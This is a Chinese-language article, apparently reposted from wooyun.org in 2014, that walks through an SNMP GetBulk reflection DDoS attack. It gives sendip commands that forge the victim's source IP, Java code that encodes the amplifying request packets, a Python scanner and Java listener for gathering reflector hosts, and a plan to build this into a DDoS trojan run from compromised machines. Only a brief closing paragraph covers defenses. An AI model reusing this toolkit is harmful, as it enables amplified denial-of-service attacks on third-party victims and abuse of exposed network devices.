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基于snmp的反射攻击的理论及其实现

时间:2014-12-10 16:50来源:wooyun.org 作者:IT

当时dns反射攻击爆发的时候，我就开始研究snmp的反射攻击（实际可以达到20倍的放大效果），在2013年夏天就已经理论研究完成，后来实现工具化。最后还差规模化（武器化）。其实，是国外在2013年初，就有只言片语叙述snmp的反射攻击，但是没有一篇完整的文章，最近在微博上看到很多朋友转载国外的信息，我觉得，如果再不把自己所研究的放出来刷刷存在感，让我这个rank9的人活不下去了。

0x01背景

罗嗦了这么多，进入正题。

首先反射攻击的基础是向有缺陷的目标发送精心构造的伪造源ip地址的udp包来实现。第二，需要主机和缺陷主机之间有大小不对等的信息交换。一般满足这两个条件就可以来实现反射攻击。

 

0x02理论

Snmp就不过多介绍了，大家可以百度。Snmp有3个版本，这里攻击最理想的是2c版本，而恰恰2c版本也是应用最广的。

在bt5下可以用snmpwalk或snmpget命令来和snmp主机进行交换数据。

Snmpwalk –c public –v2c IP oid

这里oid是获取snmp具体信息内容的一个标识，snmp里面存的信息是一个树状的信息结构。

2014052716250940920.jpg

其实snmpwalk是获取一条oid信息，但是这个oid里面附带了下一个树节点的oid号，然后snmp会通过 snmpget继续访问下一个oid号（在getnext字段里面），来执行一个类似于循环的行为，但是snmpget的协议大家也看到了，只能获取到一条信息，79的信息长度，只能获得279的反馈，这样实现攻击的放大倍数是不给力的。

关键点来了，根据rfc1441-rfc1452文档说明，snmp第二版里面引入了getbulk来取代反复getnext，用来更好的在单个请求里面获得大量的管理数据。相对应的bt5下还有个snmpbulkget命令

snmpbulkget -v2c -Cn0 -Cr70 -c public IP oid

对应就是获取当前oid后面的70个团体字，这样如果你用snmpwalk跑一个1.3.6的团体字会看到很多信息，而你用bulkget这个一次就可以收到一个包里面包含70条信息的数据包，如图。

2014052716263586576.jpg

这里看到数据包的length大家就会明白了，就是利用这种方式，来获得反射攻击的效果。

这里大家会有个疑问。一个snmp里面会包含n多的信息（上千条肯定有了）为什么这里只用70条，用更多的会返回更多的信息，获得更大的倍数。当然我也想，这么做，可是snmp这协议不像ntp协议直接给你把数据分包返回，而是通过一个包里的不同字段返回多个信息的，所以这里面就会受到网络链路上的mtu这个值的影响，1500这个硬伤是不能越过去的。理论上已经实现了信息不对等的交互了，那么下面就是伪造源ip发udp包的环节了。

此处我用的是sendip这个工具，安装很简单http://www.earth.li/projectpurple/progs/sendip.html

下载源码之后直接在linux下编译安装，这其中可能会遇到编译问题，请参考这里http://blog.csdn.net/figo1986/article/details/7336131

下面看下我用的命令

sendip -v -p ipv4 -is src_IP -id dst_IP -p udp -us 8000 -ud 161 dst_IP  -d0x123456789

这里是使用ipv4的协议发送udp包，src_IP 源ip， dst_ip 目的ip，-us udp源端口,-ud udp目的端口，这里snmp默认端口是161，源端口自己随便填，最后部分是数据部分，其实可以直接输入明文的，但是snmp的pdu编码是非常蛋疼的，所以我使用了-d 16进制的形式。

下面是效果，这个包就发到本地吧，这里的源地址就是ddos的反射攻击的被攻击者的地址。

2014052716275084302.jpg

这里看到了效果，为下一步工具化进行了铺垫

最后这个图是虚拟机环境搭的，实现反射攻击的整体图

2014052716283040757.jpg

0x03工具化

首先要解决snmp数据包pdu部分的蛋疼的编码部分，snmp的数据部分是符合基本编码规则（ber）的这里有三篇文章，大家可以完全读懂ber编码和snmp的关系。

http://blog.csdn.net/shanzhizi/article/details/11574849
http://yuanmuqiuyu2000.blog.sohu.com/72641116.html

http://blog.chinaunix.net/uid-23069658-id-3251045.html

对于这个蛋疼的编码，我写了个java程序来生成pdu，里面有注释，大家很好理解的。

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import java.io.UnsupportedEncodingException;
 
public class SnmpPDUber {
    public static String sumlen(String s){
        int c=0;
        String r="";
        String r2="";
        s=qukongge(s);
        s=s.replaceAll(" ","+");
        r=s.replaceAll("\\+","");
        //System.out.println(s);
        c=r.length()/2;
        r2=Integer.toHexString(c);             //十进制转换成16进制返回
        return subStr(r2);
    }
 
    public static String randomtohex(int i) //产生 i 组 16进制 随机数
    {
        String s="";
        int k;
        for(int j=0;j<i;j++){
        k=(int)(1+Math.random()*(254-1+1));
            s=s+Integer.toHexString(k)+" ";
        }
        return s;
    }
 
    public static String subStr(String s)         // (双位) 0变成00
    {
        if(s.length()%2==1){
            s="0"+s;
        }
        return s;
 
    }
    public static String qukongge(String s){return s.replaceAll(" ","");} //去除空格
 
    public static String toHexString(String s)
    {
        String str="";
        for (int i=0;i<s.length();i++)
        {
            int ch = (int)s.charAt(i);
            String s4 = Integer.toHexString(ch);
            str = str +" "+ s4;
        }
        return str;
    }
    public static void main(String args[]){
        // tag+len+values
        String tag="30";//tag标识域 SEQUENCE类型
        String len="00";
        String values="";//values值域
 
        String versiontag="02";//version tag标识域 INTEGER类型
        String versionlen="01";
        String versionvalues="01";//version values 00 1版本     01 2c版本
 
        String Communitytag="04";//Community tag标识域 string类型
        String Communitylen="00";//Community len长度域
        String Communityvalues=args[0];//Community 值域public
        System.out.println(Communityvalues);
        Communityvalues=toHexString(Communityvalues);
        System.out.println(Communityvalues);
 
        String pdutag="a5";//pdu tag 标识域 a5 是 getbulkrequest
        String pdulen="00";//pdu len长度域
        String pduvalue="";//pdu 值域
 
        String requestid_tag="02";//requestid tag 标识域 INTEGER类型
        String requestid_len="04";//requestid len 长度域
        String requestid_values="";//8位 16进制 随机   ID
 
        String non_repeaters_tag="02";// getbulk 开始段 标识域
        String non_repeaters_len="01";
        String non_repeaters_values="00";//16进制0
 
        String max_repeaters_tag="02";// getbulk 循环段 标识域
        String max_repeaters_len="01";
        String max_repeaters_values="64";// 16进制100
 
        String Variable_tag="30";
        String Variable_len="00";
        String Variable_value="";
 
        String Item_tag="30";
        String Item_len="00";
        String Item_values="";
 
        String Object_tag="06";
        String Object_len="00";
        String Object_values="2b 06 01 02 01";//1.3.6.1.2.1
 
        String value_tag="05";//no error 标识域
        String value_len="00";
 
        /*
        tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requestid_len+requestid_values+non_repeaters_tag+non_repeaters_len+
        non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_len+[Object_tag+Object_len+Object_values+value_tag+value_len]]]]
        */
        String tmp="";
        int j=0;
        tmp=value_tag+" "+value_len;
        Object_len=sumlen(Object_values);
        Item_values=Object_tag+" "+Object_len+" "+Object_values+" "+tmp;
        Item_len=sumlen(Item_values);
        Variable_value=Item_tag+" "+Item_len+" "+Item_values;
        Variable_len=sumlen(Variable_value);
        tmp=Variable_tag+" "+Variable_len+" "+Variable_value;
        requestid_values=randomtohex(4); //报文随机id后面自带空格，所以下面字符串拼接时候不需要带空格
        pduvalue=requestid_tag+" "+requestid_len+" "+requestid_values+non_repeaters_tag+" "+non_repeaters_len+" "+non_repeaters_values+" "+max_repeaters_tag+" "+max_repeaters_len+" "+max_repeaters_values+" "+tmp;
        pdulen=sumlen(pduvalue);
        tmp=pdutag+" "+pdulen+" "+pduvalue;
        Communitylen=sumlen(Communityvalues);
        values=versiontag+" "+versionlen+" "+versionvalues+" "+Communitytag+" "+Communitylen+" "+Communityvalues+" "+tmp;
        len=sumlen(values);
        tmp=tag+" "+len+" "+values;
        System.out.println(tmp);
        System.out.println("0x"+qukongge(tmp));
        /*sendip -v -p ipv4 -is 192.168.1.101 -id 192.168.1.102 -p udp -us 8000 -ud 161 192.168.1.102 -d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/
 
    }
}

注意：getbulk的循环字段就是对应 snmpbulkget 里面的 –Cr 标识位。

第二为了有一定数量的能进行反射的主机，需要一个给力的扫描器，这里会有人想到用zmap来扫描，但是要知道， udp的扫描可不像tcp那种你发请求连接就肯定会有返回连接的，实测有很多udp程序只要你发的数据不符合他接收的格式时，他是无任何反应和回复的，就和这个ip没开相关端口是一样的效果，snmp也是符合这种情况的，所以需要自己在扫描指定ip的时候发送和正常snmp请求的包一样的数据包，来期盼正常的返回，来证明这个ip是否可以用来反射攻击。不知道大家住没注意到zmap是在不久之前才推出了snmp的扫描模块，这个模块我用过，不是太给力。下面是我用python写的一个循环调用sendip发包的程序，来扫描ip段的，里面的pdu是用刚才java编码程序生成出来的。发出的包用一个自写的java程序监听端口，如果有返回信息，就把返回的ip地址输出到文件。

python 3.4版本的

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import os
import time
from pip.backwardcompat import raw_input
 
__author__ = 'qwe'
 
class ipScan(object):
    def __init__(self, begin, end):
        self.begin = begin
        self.end = end
 
    def traverseIP(self):
        begin_ip = []
        end_ip = []
        begin = self.begin.split(".")
        end = self.end.split(".")
 
        #print(begin,end)
 
        for m in begin:
            begin_ip.append(int(m))
        for n in end:
            end_ip.append(int(n))
 
        a1 = begin_ip[1]
        b1 = end_ip[1]
        a2 = begin_ip[2]
        b2 = end_ip[2]
        a3 = begin_ip[3]
        b3 = end_ip[3]
 
        print(a1,b1,a2,b2,a3,b3)
 
        for o in range(a1,b1+1):
            p=1
            q=1
            if(o==a1):
                p=a2
            else:
                p=1
            if(o==b1):
                q=b2
            else:
                q=254
            for m in range(a2, b2 + 1):
                i = 1
                j = 1
                if (m == a2 ):
                    i = a3
                else:
                    i = 1
                if (m == b2):
                    j = b3
                else:
                    j = 254
                for n in range(i, j + 1):
                    ipstr=(str(begin_ip[0]) + "." + str(o) + "." + str(m) + "." + str(n))
                    sendip='sendip -p ipv4 -is 192.168.0.108 -id '+ipstr+' -p udp -us 8450 -ud 161 '+ipstr+' -d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500'
                    print(sendip)
                    os.system(sendip)
                    time.sleep(0.1)
 
begin = raw_input("enter begin ip addr: ")
end = raw_input("enter end ip addr: ")
#print (begin,end)
 
a = ipScan(begin, end)
a.traverseIP()

java监听程序

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/**
 * Created with IntelliJ IDEA.
 * User: Clevo
 * Date: 14-3-11
 * Time: 下午10:09
 * To change this template use File | Settings | File Templates.
 */
 
import org.bouncycastle.asn1.ASN1InputStream;
import org.bouncycastle.asn1.ASN1Primitive;
import org.bouncycastle.asn1.util.ASN1Dump;
 
import java.io.ByteArrayInputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.net.*;
 
public class udpListen {
 
    public static void main(String[] args) {
 
            printReceiveInfomationFromPort(8000);
 
    }
 
    static void printReceiveInfomationFromPort(int port) {
        new Thread(new MonitorPortRunnable(port)).start();
    }
 
}
 
class MonitorPortRunnable implements Runnable {
    byte buf[] = new byte[1024];
    DatagramSocket ds = null;
    DatagramPacket dp = null;
    int localReceivePort ;
    public MonitorPortRunnable(int localReceivePort) {
        this.localReceivePort = localReceivePort;
    }
    public static void writefile2(String fileName, String content) {
        try {
            // 打开一个写文件器，构造函数中的第二个参数true表示以追加形式写文件
            FileWriter writer = new FileWriter(fileName, true);
            writer.write(content);
            writer.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public void run() {
        dp = new DatagramPacket(buf, 0, 1024);
        try {
            ds = new DatagramSocket(localReceivePort);
 
        } catch (SocketException e1) {
            //prompt("本地接收端口已被使用");
            System.exit(0);
        }
        while (true) {
            try {
                ds.receive(dp);
                //System.out.println("信息来自：" + this.localReceivePort);
            } catch (IOException e) {
                ds.close();
                e.printStackTrace();
            }
            byte[] c=dp.getData();
            int c_len=dp.getLength();
            String receiveMessage = new String(c, 0, c_len);
            String receiveAddr=new String(dp.getAddress().toString());
            //System.out.println(receiveMessage);//暂时打印到控制台，一般输出到文件
            System.out.println(receiveAddr);
            writefile2("result.txt",receiveAddr+"\r\n");
        }
    }
 
 
}

2014052716295083031.png

最后还有一个java写的结果过滤，其实就是一个snmp的信息获取程序，来筛选可利用的主机或者设备，大家可以增加更多的功能，例如看出口的速度等。

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import java.io.*;
import java.util.Vector;
 
import org.snmp4j.CommunityTarget;
import org.snmp4j.PDU;
import org.snmp4j.Snmp;
import org.snmp4j.event.ResponseEvent;
import org.snmp4j.mp.SnmpConstants;
import org.snmp4j.smi.OID;
import org.snmp4j.smi.OctetString;
import org.snmp4j.smi.UdpAddress;
import org.snmp4j.smi.VariableBinding;
import org.snmp4j.transport.DefaultUdpTransportMapping;
 
public class SnmpDATAget {
    public static void main(String[] args) throws IOException, InterruptedException {
        Snmp snmp = new Snmp(new DefaultUdpTransportMapping());
        snmp.listen();
 
        //args[0]="public";
        //args[1]="ip.txt";
        //args[2]="oid.txt";
 
        CommunityTarget target = new CommunityTarget();
        target.setCommunity(new OctetString(args[0]));
        target.setVersion(SnmpConstants.version2c);
        target.setTimeout(3000);    //3s
        target.setRetries(1);     //重试次数
 
 
        try {
            //String encoding="GBK";
            String encoding="UTF-8";
            File file=new File(args[1]);
            if(file.isFile() && file.exists()){ //判断文件是否存在
                InputStreamReader read = new InputStreamReader(
                        new FileInputStream(file),encoding);//考虑到编码格式
                BufferedReader bufferedReader = new BufferedReader(read);
                String lineTxt = null;
                while((lineTxt = bufferedReader.readLine()) != null){
                    System.out.print(lineTxt + "@");
                    target.setAddress(new UdpAddress(lineTxt+"/161"));
                    sendRequest(snmp, createGetPdu(args[2]), target);
 
                }
                read.close();
            }else{
                System.out.println("找不到指定的文件");
            }
        } catch (Exception e) {
            System.out.println("读取文件内容出错");
            e.printStackTrace();
        }
 
 
    }
 
    private static PDU createGetPdu(String path) {
        PDU pdu = new PDU();
        pdu.setType(PDU.GET);
        try {
            //String encoding="GBK";
            String encoding="UTF-8";
            File file=new File(path);
            if(file.isFile() && file.exists()){ //判断文件是否存在
                InputStreamReader read = new InputStreamReader(
                        new FileInputStream(file),encoding);//考虑到编码格式
                BufferedReader bufferedReader = new BufferedReader(read);
                String lineTxt = null;
                while((lineTxt = bufferedReader.readLine()) != null){
                    pdu.add(new VariableBinding(new OID(lineTxt))); //sysName
                    //System.out.println(lineTxt);
                }
                read.close();
            }else{
                System.out.println("找不到指定的文件"+path);
            }
        } catch (Exception e) {
            System.out.println("读取文件内容出错");
            e.printStackTrace();
        }
        /*
        pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.1.0")));
        pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.2.0")));
        pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.3.0")));
         */
        return pdu;
    }
 
    private static void sendRequest(Snmp snmp, PDU pdu, CommunityTarget target)
            throws IOException {
        ResponseEvent responseEvent = snmp.send(pdu, target);
        PDU response = responseEvent.getResponse();
 
        if (response == null) {
            System.out.println("TimeOut...");
        } else {
            if (response.getErrorStatus() == PDU.noError) {
                Vector<? extends VariableBinding> vbs = response.getVariableBindings();
                for (VariableBinding vb : vbs) {
                    System.out.println(vb + " ," + vb.getVariable().getSyntaxString());
                }
            } else {
                System.out.println("Error:" + response.getErrorStatusText());
            }
        }
    }
 
}

0x04武器化

这里面sendip可以作为一个模块集成到linux下面的ddos马里面。

好吧让大家失望了，从上面的各种杂牌程序大家不难看出，我是一个不会写程序的人，所以ddos的马部分默默地忽略掉吧，如果有大神会写，我们可以共同研究。

0x05局限性，防御办法和解决办法

第一，需要发包的肉鸡是属于纯外网ip地址，因为一般经过路由或者特殊设置（例如设置：忽略从lan口来的源ip地址不属于本子网的数据包）的三层交换时，此伪造包就会被过滤掉，从而失去效果。解决办法就是找那种可以发伪造包的肉鸡，其实还是很多的，简单点说nat形式为0的，基本都能发。这种肉鸡国外还是不少的。

第二，是混世魔王给我提出来的，能进行反射的主机的数量。这个还是很多的，因为不光有些有需要的linux开snmp，其实linux开snmp的基本都是内网的机器，用来进行性能监控用，更多的是网络上的设备，交换，路由，防火墙等，这些设备从小到大都会有开snmp的，他们所属的带宽大小也会有所不同，百兆千兆甚至万兆以太网口的设备都是会出现的。所以这方面能反射的主机数量不用担心。在上面工具化里面的扫描工具实践一下就可以看出来。

第三，防御办法，开snmp的主机尽量不要暴露在外网，还可以用改 默认密码来限制访问，或者改默认161端口。或者禁止响应bulkget的这种包，仅仅响应get方式获取

欢迎各位朋友来指正问题。

(责任编辑：IT)
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